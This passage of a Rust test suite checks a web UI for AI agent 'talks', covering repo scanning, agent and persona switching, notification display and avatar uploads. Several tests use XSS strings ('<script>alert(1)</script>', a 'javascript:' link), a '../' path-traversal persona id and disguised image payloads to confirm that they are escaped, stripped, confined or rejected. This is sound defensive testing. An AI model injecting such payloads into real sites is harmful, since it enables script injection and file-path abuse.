14331            format!(
14332                "[repos]\nroots = [{:?}]\n",
14333                root.to_string_lossy().into_owned()
14334            ),
14335        )
14336        .expect("write magi.toml");
14337
14338        let f = Fixture::with_repo(repo).await;
14339        let res = f.get("/api/repos").await;
14340        assert_eq!(res.status, 200, "{}", res.body);
14341        let list = res.json();
14342        let repos = list.as_array().expect("an array");
14343        assert_eq!(repos.len(), 1);
14344        assert_eq!(repos[0]["name"], "yukimemi/magi");
14345        assert!(
14346            repos[0]["path"]
14347                .as_str()
14348                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14349            "{list}"
14350        );
14351    }
14352
14353    #[tokio::test]
14354    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14355        let tmp = TempDir::new().expect("tempdir");
14356        let repo = tmp.path().join("repo");
14357        std::fs::create_dir_all(&repo).expect("repo dir");
14358        let root = tmp.path().join("root");
14359        make_checkout(&root, "github.com", "yukimemi", "magi");
14360        std::fs::write(
14361            repo.join("magi.toml"),
14362            format!(
14363                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14364                root.to_string_lossy().into_owned()
14365            ),
14366        )
14367        .expect("write magi.toml");
14368
14369        let f = Fixture::with_repo(repo).await;
14370        let first = f.get("/api/repos").await;
14371        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14372
14373        // A second checkout appears; within the TTL the cached answer must
14374        // not notice it.
14375        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14376        let second = f.get("/api/repos").await;
14377        assert_eq!(
14378            second.json().as_array().map(Vec::len),
14379            Some(1),
14380            "a fresh cache must not rescan inside the TTL"
14381        );
14382
14383        let refreshed = f.get("/api/repos?refresh=1").await;
14384        assert_eq!(
14385            refreshed.json().as_array().map(Vec::len),
14386            Some(2),
14387            "an explicit refresh must rescan even inside the TTL"
14388        );
14389    }
14390
14391    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14392    /// string, declared straight in a repository's own `magi.toml` rather
14393    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14394    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14395    /// this is safe to run over a real HTTP round trip.
14396    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14397
14398    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14399    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14400    /// even though it takes no turn, and `talk_say` invokes one.
14401    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14402        let tmp = TempDir::new().expect("tempdir");
14403        let repo = tmp.path().join("repo");
14404        std::fs::create_dir_all(&repo).expect("repo dir");
14405        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14406        let f = Fixture::with_repo(repo.clone()).await;
14407        (tmp, repo, f)
14408    }
14409
14410    #[tokio::test]
14411    async fn posting_a_talk_with_remembered_choices_is_soft() {
14412        let (_tmp, _repo, f) = talk_fixture().await;
14413
14414        let good = f
14415            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14416            .await;
14417        assert_eq!(good.status, 201, "{}", good.body);
14418        assert_eq!(good.json()["persona"], "rei");
14419
14420        // Wrong values and wrong types are dropped one by one, never a 4xx.
14421        let stale = f
14422            .post(
14423                "/api/talks",
14424                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14425            )
14426            .await;
14427        assert_eq!(stale.status, 201, "{}", stale.body);
14428        let v = stale.json();
14429        assert_eq!(v["implementers"], 1);
14430        assert_ne!(v["persona"], "nobody");
14431        let typed = f
14432            .post(
14433                "/api/talks",
14434                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14435            )
14436            .await;
14437        assert_eq!(typed.status, 201, "{}", typed.body);
14438
14439        // The strict `agent` field still refuses an unknown id.
14440        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14441        assert!(
14442            !strict.status.to_string().starts_with('2'),
14443            "{}",
14444            strict.body
14445        );
14446    }
14447
14448    #[tokio::test]
14449    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14450        let (_tmp, _repo, f) = talk_fixture().await;
14451
14452        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14453        // is the ordinary way a phone opens a talk.
14454        let opened = f.post("/api/talks", None).await;
14455        assert_eq!(opened.status, 201, "{}", opened.body);
14456        let body = opened.json();
14457        assert_eq!(body["status"], "open");
14458        assert_eq!(
14459            body["turns"].as_array().unwrap().len(),
14460            0,
14461            "opening takes no agent turn: there is nothing yet to answer"
14462        );
14463
14464        // An explicit empty object is the same request as none at all.
14465        let also_opened = f.post("/api/talks", Some("{}")).await;
14466        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14467
14468        let listed = f.get("/api/talks").await.json();
14469        assert_eq!(listed.as_array().unwrap().len(), 2);
14470    }
14471
14472    #[tokio::test]
14473    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14474        let tmp = TempDir::new().expect("tempdir");
14475        let repo = tmp.path().join("repo");
14476        std::fs::create_dir_all(&repo).expect("repo dir");
14477        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14478        std::fs::write(
14479            repo.join("magi.toml"),
14480            format!("{MOCK_AGENT_TOML}\n{second}"),
14481        )
14482        .expect("write magi.toml");
14483        let home = TempDir::new().expect("temp home");
14484        let talks = Talks::at(home.path().join("talks"));
14485        let ui = Arc::new(
14486            Ui::new(
14487                Queue::at(home.path().join("queue")),
14488                Questions::at(home.path().join("questions")),
14489                talks.clone(),
14490                home.path().join("runs"),
14491                home.path().to_path_buf(),
14492                repo.clone(),
14493            )
14494            .with_worktrees_root(home.path().join("wt")),
14495        );
14496        let cfg = config_for(&repo).await.expect("discover config");
14497        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14498        let id = talk.id.clone();
14499        let call = |agent: &str| {
14500            talk_agent(
14501                State(Arc::clone(&ui)),
14502                Path(id.clone()),
14503                Json(TalkAgent {
14504                    agent: agent.to_owned(),
14505                }),
14506            )
14507        };
14508
14509        let unknown = call("nobody").await.expect_err("unknown agent");
14510        assert_eq!(
14511            unknown.status,
14512            StatusCode::BAD_REQUEST,
14513            "{}",
14514            unknown.message
14515        );
14516
14517        {
14518            // Nothing refused so far took a claim, so the guard is free to take
14519            // and holding it is what makes the talk busy.
14520            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14521            let busy = call("second").await.expect_err("busy talk");
14522            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14523            assert!(
14524                busy.message.contains("a talk turn is running"),
14525                "{}",
14526                busy.message
14527            );
14528            drop(guard);
14529        }
14530        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14531
14532        let Json(view) = call("second").await.expect("switch");
14533        assert_eq!(view.talk.agent, "second");
14534        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14535        let saved = talks.get(&id).expect("reload");
14536        assert_eq!(saved.agent, "second");
14537        assert_eq!(saved.turns.len(), 1);
14538        assert!(!view.thinking);
14539        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14540        for agent in ["mock", "second"] {
14541            let Json(view) = call(agent).await.expect("immediate consecutive change");
14542            assert_eq!(view.talk.agent, agent);
14543            assert!(!view.thinking);
14544            assert!(!ui.is_thinking(&id));
14545        }
14546
14547        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14548            .await
14549            .expect("detail");
14550        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14551        assert_eq!(roster, ["mock", "second"]);
14552
14553        let mut closed = talks.get(&id).expect("reload");
14554        talk::close(&mut closed, &talks).expect("close");
14555        let refused = call("mock").await.expect_err("closed talk");
14556        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14557        assert!(
14558            refused.message.contains("takes no more turns"),
14559            "{}",
14560            refused.message
14561        );
14562    }
14563
14564    #[tokio::test]
14565    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14566        let tmp = TempDir::new().expect("tempdir");
14567        let repo = tmp.path().join("repo");
14568        std::fs::create_dir_all(&repo).expect("repo dir");
14569        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14570        let home = TempDir::new().expect("temp home");
14571        let talks = Talks::at(home.path().join("talks"));
14572        let ui = Arc::new(
14573            Ui::new(
14574                Queue::at(home.path().join("queue")),
14575                Questions::at(home.path().join("questions")),
14576                talks.clone(),
14577                home.path().join("runs"),
14578                home.path().to_path_buf(),
14579                repo.clone(),
14580            )
14581            .with_worktrees_root(home.path().join("wt")),
14582        );
14583        let cfg = config_for(&repo).await.expect("discover config");
14584        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14585        let id = talk.id.clone();
14586        let call = |n: u8| {
14587            talk_implementers(
14588                State(Arc::clone(&ui)),
14589                Path(id.clone()),
14590                Json(TalkImplementers { implementers: n }),
14591            )
14592        };
14593
14594        for bad in [0u8, 4] {
14595            let e = call(bad).await.expect_err("out of range");
14596            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14597        }
14598        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14599
14600        {
14601            // Nothing refused so far took a claim, so the guard is free to take
14602            // and holding it is what makes the talk busy.
14603            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14604            let busy = call(2).await.expect_err("busy talk");
14605            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14606            assert!(
14607                busy.message.contains("a talk turn is running"),
14608                "{}",
14609                busy.message
14610            );
14611            drop(guard);
14612        }
14613
14614        let Json(view) = call(3).await.expect("switch");
14615        assert_eq!(view.talk.implementers, 3);
14616        assert!(talks.get(&id).expect("reload").implementers_dirty);
14617        assert!(!view.thinking);
14618        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14619        for n in [1, 2, 3] {
14620            let Json(view) = call(n).await.expect("immediate consecutive change");
14621            assert_eq!(view.talk.implementers, n);
14622            assert!(!view.thinking);
14623            assert!(!ui.is_thinking(&id));
14624        }
14625
14626        let mut closed = talks.get(&id).expect("reload");
14627        talk::close(&mut closed, &talks).expect("close");
14628        let e = call(2).await.expect_err("closed talk");
14629        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14630        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14631    }
14632
14633    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14634    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14635        let tmp = TempDir::new().expect("tempdir");
14636        let repo = tmp.path().join("repo");
14637        std::fs::create_dir_all(&repo).expect("repo dir");
14638        std::fs::write(
14639            repo.join("magi.toml"),
14640            format!("{MOCK_AGENT_TOML}\n{extra}"),
14641        )
14642        .expect("write magi.toml");
14643        let home = TempDir::new().expect("temp home");
14644        let talks = Talks::at(home.path().join("talks"));
14645        let ui = Arc::new(
14646            Ui::new(
14647                Queue::at(home.path().join("queue")),
14648                Questions::at(home.path().join("questions")),
14649                talks.clone(),
14650                home.path().join("runs"),
14651                home.path().to_path_buf(),
14652                repo.clone(),
14653            )
14654            .with_worktrees_root(home.path().join("wt")),
14655        );
14656        let cfg = config_for(&repo).await.expect("discover config");
14657        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14658        (tmp, home, ui, talk.id, repo)
14659    }
14660
14661    #[tokio::test]
14662    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14663        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14664        let mut conversation = ui.talks.get(&id).unwrap();
14665        talk::record(
14666            &mut conversation,
14667            &ui.talks,
14668            "# Update on a task you filed\noperator words",
14669            vec![],
14670        )
14671        .unwrap();
14672        // Simulate an old operator record; headings do not prove authorship.
14673        conversation.turns[0].sender = None;
14674        conversation.turns[0].messages.clear();
14675        ui.talks.put(&mut conversation).unwrap();
14676        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14677        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14678        talk::drain(&mut conversation, &ui.talks).unwrap();
14679        talk::record_reply(
14680            &mut conversation,
14681            &ui.talks,
14682            "about that report",
14683            vec![],
14684            Some(talk::ReplyTarget {
14685                turn: 1,
14686                message: 1,
14687            }),
14688        )
14689        .unwrap();
14690        conversation.turns[2].messages[0]
14691            .reply
14692            .as_mut()
14693            .unwrap()
14694            .sender = None;
14695        conversation.turns.push(talk::Turn {
14696            sender: Some(talk::Sender::Persona),
14697            who: talk::Who::Agent,
14698            body: "magi: actual persona words".into(),
14699            at: Timestamp::now(),
14700            attachments: vec![],
14701            usage: None,
14702            breaks: None,
14703            messages: vec![],
14704            posted_by: None,
14705        });
14706        ui.talks.put(&mut conversation).unwrap();
14707        let view = TalkView::with_config(
14708            ui.talks.get(&id).unwrap(),
14709            false,
14710            None,
14711            &ui.home,
14712            &ui.references,
14713        );
14714        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14715        assert_eq!(
14716            view.talk.turns[1].messages[0].sender,
14717            Some(talk::Sender::Operator)
14718        );
14719        assert_eq!(
14720            view.talk.turns[1].messages[1].sender,
14721            Some(talk::Sender::Magi)
14722        );
14723        assert_eq!(
14724            view.talk.turns[2].messages[0]
14725                .reply
14726                .as_ref()
14727                .unwrap()
14728                .sender,
14729            Some(talk::Sender::Magi)
14730        );
14731        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14732        assert_eq!(view.turn_messages_md[0].len(), 1);
14733        assert!(view.turn_messages_md[0][0].is_none());
14734        assert!(view.turn_messages_md[1][0].is_none());
14735        assert!(view.turn_messages_md[1][1].is_some());
14736    }
14737
14738    #[tokio::test]
14739    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14740        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14741        let mut conversation = ui.talks.get(&id).unwrap();
14742        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14743        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14744        talk::queue_notice(
14745            &mut conversation,
14746            &ui.talks,
14747            &body,
14748            "watch:123",
14749            &|_| false,
14750            None,
14751            display.clone(),
14752        )
14753        .unwrap();
14754        assert!(
14755            !talk::queue_notice(
14756                &mut conversation,
14757                &ui.talks,
14758                &body,
14759                "watch:123",
14760                &|_| false,
14761                None,
14762                display.clone()
14763            )
14764            .unwrap()
14765        );
14766        let saved = ui.talks.get(&id).unwrap();
14767        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14768        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14769        assert!(
14770            view.talk.turns[0].messages[0].display.is_none(),
14771            "operator copy stays literal"
14772        );
14773        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14774        assert!(view.turn_messages_md[0][0].is_none());
14775        let queued_md = view.pending_messages_md[0].clone();
14776        assert_eq!(
14777            queued_md,
14778            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14779        );
14780        talk::drain(&mut conversation, &ui.talks).unwrap();
14781        talk::record_reply(
14782            &mut conversation,
14783            &ui.talks,
14784            "Explain",
14785            vec![],
14786            Some(talk::ReplyTarget {
14787                turn: 1,
14788                message: 0,
14789            }),
14790        )
14791        .unwrap();
14792        let mut saved = ui.talks.get(&id).unwrap();
14793        assert_eq!(saved.turns[1].messages[0].body, body);
14794        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14795        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14796        assert!(!reply.excerpt.contains("automatic report"));
14797        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14798        saved.turns[1].messages[0].display = None; // old MAGI send
14799        ui.talks.put(&mut saved).unwrap();
14800        let view = TalkView::with_config(
14801            ui.talks.get(&id).unwrap(),
14802            false,
14803            None,
14804            &ui.home,
14805            &ui.references,
14806        );
14807        assert_eq!(view.turn_messages_md[1][0], queued_md);
14808        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14809        assert!(
14810            !view.talk.turns[2].messages[0]
14811                .reply
14812                .as_ref()
14813                .unwrap()
14814                .excerpt
14815                .contains("automatic report")
14816        );
14817        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14818    }
14819
14820    #[tokio::test]
14821    async fn consultation_display_hides_directives_in_queue_and_history() {
14822        for node in [
14823            "implement",
14824            crate::land::APPROVAL_NODE,
14825            crate::github_text::ASK_NODE,
14826        ] {
14827            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14828            let mut question = Question::new(
14829                "run-123".into(),
14830                node.into(),
14831                "seat-1".into(),
14832                "Which backend?".into(),
14833                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14834                vec!["SQLite".into(), "Redis".into()],
14835            );
14836            ui.questions.put(&mut question).unwrap();
14837            let body = crate::prompt::chat_consult(&question);
14838            let mut conversation = ui.talks.get(&id).unwrap();
14839            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14840            assert!(
14841                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14842            );
14843            conversation = ui.talks.get(&id).unwrap();
14844            assert_eq!(conversation.pending_messages[0].body, body);
14845            assert!(body.contains("magi answer"));
14846            let mut legacy_pending = conversation.clone();
14847            legacy_pending.pending_messages[0].display = None;
14848            let legacy_view =
14849                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14850            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14851            assert!(legacy_md.contains("Question consultation"));
14852            assert!(!legacy_md.contains("magi answer"));
14853            let view =
14854                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14855            assert!(
14856                view.turn_messages_md[0][0].is_none(),
14857                "operator copy stays literal"
14858            );
14859            let queued_md = view.pending_messages_md[0].clone().unwrap();
14860            let rendered = serde_json::to_string(&queued_md).unwrap();
14861            for visible in [
14862                "Which backend?",
14863                "Context",
14864                "storage",
14865                "SQLite",
14866                "Redis",
14867                "<script>literal</script>",
14868            ] {
14869                assert!(rendered.contains(visible), "missing {visible}");
14870            }
14871            for directive in [
14872                "What to do",
14873                "magi answer",
14874                "Never answer it yourself",
14875                "Do not edit the repository",
14876            ] {
14877                assert!(!rendered.contains(directive), "exposed {directive}");
14878            }
14879            assert_eq!(
14880                view.talk.pending_messages[0].display,
14881                Some(crate::prompt::chat_consult_display(&question))
14882            );
14883            talk::drain(&mut conversation, &ui.talks).unwrap();
14884            let view =
14885                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14886            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14887            assert_eq!(conversation.turns[1].messages[0].body, body);
14888
14889            // Historical consultations lack a snapshot: show a safe placeholder
14890            // rather than parsing instructions or reconstructing mutable facts.
14891            conversation.turns[1].messages[0].display = None;
14892            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14893            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14894            assert!(legacy.contains("Question consultation"));
14895            assert!(!legacy.contains("magi answer"));
14896            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14897        }
14898    }
14899
14900    #[test]
14901    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14902        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14903        let (body, mut display) =
14904            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14905        display.facts = facts.into();
14906        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14907        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14908        let json = serde_json::to_string(&nodes).unwrap();
14909        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14910            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14911        }
14912        assert!(json.contains("<script>alert(1)</script>"));
14913        assert!(!json.contains("javascript:"));
14914        assert!(!json.contains("Tell the operator"));
14915        assert!(!json.contains("untrusted"));
14916        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14917        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14918        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14919        assert_eq!(
14920            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14921            md::to_nodes("# Status", &md::ImageBase::None),
14922        );
14923    }
14924
14925    #[tokio::test]
14926    async fn notification_display_recovers_exact_legacy_completion_references() {
14927        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14928        let mut conversation = ui.talks.get(&id).unwrap();
14929        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14930            id: "task-123",
14931            title: "Change",
14932            status: "done",
14933            reason: None,
14934            run: Some("run-123"),
14935            pr: None,
14936            summary: Some("Merge state unknown"),
14937        });
14938        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14939        conversation.turns[0].sender = None;
14940        conversation.turns[0].messages.clear();
14941        conversation.turns[0].breaks = None;
14942        conversation.pending = body.clone();
14943        conversation
14944            .completion_notices
14945            .push(crate::chat_notify::CompletionReference {
14946                task: "task-123".into(),
14947                run: Some("run-123".into()),
14948                notice: body.clone(),
14949            });
14950        ui.talks.put(&mut conversation).unwrap();
14951        let view = TalkView::with_config(
14952            ui.talks.get(&id).unwrap(),
14953            false,
14954            None,
14955            &ui.home,
14956            &ui.references,
14957        );
14958        assert_eq!(
14959            view.talk.turns[0].messages[0].display,
14960            Some(display.clone())
14961        );
14962        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14963        assert_eq!(
14964            view.talk.turns[0].messages[0].sender,
14965            Some(talk::Sender::Magi)
14966        );
14967        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14968        conversation.completion_notices[0]
14969            .notice
14970            .push_str("different");
14971        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14972        assert!(view.talk.turns[0].messages.is_empty());
14973        assert!(view.talk.pending_messages.is_empty());
14974    }
14975
14976    #[tokio::test]
14977    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14978        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14979        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14980            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14981        ))
14982        .await;
14983        let path = avatar_setting_path(home.path(), Some("rei"));
14984        let orphan = avatar_setting_path(home.path(), Some("removed"));
14985        save_icon_file(&orphan, icon).unwrap();
14986        for (saved, expected) in [
14987            (icon, "custom"),
14988            ("builtin", "builtin"),
14989            ("data:image/png;base64,!!!!", "inherit"),
14990            ("data:image/png;base64,PGh0bWw+", "inherit"),
14991            ("/tmp/avatar.png", "inherit"),
14992        ] {
14993            atomic_icon_write(&path, saved).unwrap();
14994            let catalog =
14995                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14996                    .await
14997                    .unwrap()
14998                    .0;
14999            let personas = catalog["personas"].as_array().unwrap();
15000            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15001            assert_eq!(rei["override_state"], expected);
15002            assert_eq!(rei["has_config_icon"], true);
15003            assert_eq!(rei["is_orphan"], false);
15004            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15005            assert_eq!(removed["override_state"], "custom");
15006            assert_eq!(removed["is_orphan"], true);
15007            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15008            assert_eq!(default["override_state"], "inherit");
15009            assert_eq!(default["has_config_icon"], false);
15010            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15011            assert_eq!(
15012                effective.as_deref(),
15013                Some(if expected == "builtin" { "" } else { icon })
15014            );
15015        }
15016    }
15017
15018    #[tokio::test]
15019    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15020        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15021        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15022            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15023        ))
15024        .await;
15025        let target = |id: Option<&str>| AvatarSettingsQuery {
15026            persona: id.map(str::to_owned),
15027            ..Default::default()
15028        };
15029        let original_config = config_for(&repo).await.unwrap();
15030        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15031        let original_prompt = persona::section_for(&original_persona, None);
15032        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15033            .await
15034            .unwrap()
15035            .0;
15036        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15037            let _ = avatar_settings_put(
15038                State(ui.clone()),
15039                Query(target(persona)),
15040                Json(MagiIconUpload { icon: icon.into() }),
15041            )
15042            .await
15043            .unwrap();
15044            let path = avatar_setting_path(home.path(), persona);
15045            assert!(path.starts_with(home.path().join("avatars")));
15046            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15047            for bad in [
15048                "/tmp/image.png".to_owned(),
15049                "data:image/png;base64,!!!!".to_owned(),
15050                "data:image/png;base64,PGh0bWw+".to_owned(),
15051                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15052                format!(
15053                    "data:image/png;base64,{}",
15054                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15055                ),
15056            ] {
15057                assert!(
15058                    avatar_settings_put(
15059                        State(ui.clone()),
15060                        Query(target(persona)),
15061                        Json(MagiIconUpload { icon: bad })
15062                    )
15063                    .await
15064                    .is_err()
15065                );
15066                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15067            }
15068        }
15069        assert!(read_magi_icon(home.path()).is_none());
15070        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15071        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15072            .await
15073            .unwrap()
15074            .0;
15075        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15076        assert_ne!(
15077            before
15078                .personas
15079                .iter()
15080                .find(|p| p.id == "magi")
15081                .unwrap()
15082                .avatar,
15083            after
15084                .personas
15085                .iter()
15086                .find(|p| p.id == "magi")
15087                .unwrap()
15088                .avatar
15089        );
15090        let restarted = Arc::new(Ui::new(
15091            Queue::at(home.path().join("queue")),
15092            Questions::at(home.path().join("questions")),
15093            Talks::at(home.path().join("talks")),
15094            home.path().join("runs"),
15095            home.path().to_owned(),
15096            repo,
15097        ));
15098        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15099            .await
15100            .unwrap()
15101            .0;
15102        assert!(
15103            catalog["personas"]
15104                .as_array()
15105                .unwrap()
15106                .iter()
15107                .any(|p| p["id"] == "../custom/日本語")
15108        );
15109        for expected in ["custom", "default", "rei"] {
15110            assert!(
15111                catalog["personas"]
15112                    .as_array()
15113                    .unwrap()
15114                    .iter()
15115                    .any(|p| p["id"] == expected)
15116            );
15117        }
15118        let response =
15119            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15120        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15121        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15122            .await
15123            .unwrap();
15124        assert_eq!(
15125            effective_persona_icon(home.path(), "rei", Some(icon)),
15126            Some(String::new())
15127        );
15128        let response = talk_avatar(
15129            State(restarted.clone()),
15130            Path(id.clone()),
15131            Query(AvatarQuery {
15132                persona: Some("rei".into()),
15133                ..Default::default()
15134            }),
15135        )
15136        .await
15137        .unwrap();
15138        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15139        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15140            .await
15141            .unwrap()
15142            .0;
15143        assert_ne!(
15144            after
15145                .personas
15146                .iter()
15147                .find(|p| p.id == "rei")
15148                .unwrap()
15149                .avatar,
15150            reset
15151                .personas
15152                .iter()
15153                .find(|p| p.id == "rei")
15154                .unwrap()
15155                .avatar
15156        );
15157        let mut inherit = target(Some("rei"));
15158        inherit.inherit = Some("1".into());
15159        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15160            .await
15161            .unwrap();
15162        assert_eq!(
15163            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15164            Some(icon)
15165        );
15166        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15167            .await
15168            .unwrap();
15169        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15170        assert_eq!(
15171            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15172            Some(icon)
15173        );
15174        // Display changes never rewrite the conversation or its prompt-bearing config.
15175        let cfg = config_for(&ui.repo).await.unwrap();
15176        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15177        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15178        assert!(!original_prompt.contains("data:image"));
15179        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15180        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15181        assert!(!stored.contains("data:image"));
15182        let mut orphan = ui.talks.get(&id).unwrap();
15183        orphan.persona = "../custom/日本語".into();
15184        let view = TalkView::with_config(
15185            orphan,
15186            false,
15187            Some(&cfg),
15188            home.path(),
15189            &id_links::IndexCache::default(),
15190        );
